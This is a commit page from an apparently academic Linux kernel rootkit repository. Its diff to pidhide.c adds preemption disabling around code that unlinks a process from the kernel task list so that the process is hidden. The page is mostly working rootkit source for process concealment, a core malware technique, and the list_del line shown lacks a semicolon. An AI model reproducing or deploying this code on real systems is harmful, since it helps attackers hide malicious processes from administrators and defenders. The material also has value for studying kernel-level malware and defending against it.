linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 995080029b6a4f0326f471c4cc5988882fb0aef4
parent 5f7ebe5975c67b90242c700be38202c41bbc8c34
Author: deurzen <m.deurzen@tum.de>
Date:   Mon, 25 Jan 2021 04:10:29 +0100

adds preempt {disabling,enabling}

Diffstat:
Mrootkit/src/pidhide.c | 4++++
1 file changed, 4 insertions(+), 0 deletions(-)

diff --git a/rootkit/src/pidhide.c b/rootkit/src/pidhide.c @@ -4,6 +4,8 @@ #include <linux/proc_fs.h> #include <linux/sched/task.h> +#include <linux/preempt.h> + #include <linux/fs.h> #include <linux/fdtable.h> #include <linux/slab.h> @@ -93,11 +95,13 @@ hide_pid(pid_t pid) return; } + preempt_disable(); write_lock_irq(rwlock); list_del(&ts->tasks) /* ts->tasks.prev->next = ts->tasks.next; */ /* ts->tasks.next->prev = ts->tasks.prev; */ write_unlock_irq(rwlock); + preempt_enable(); } void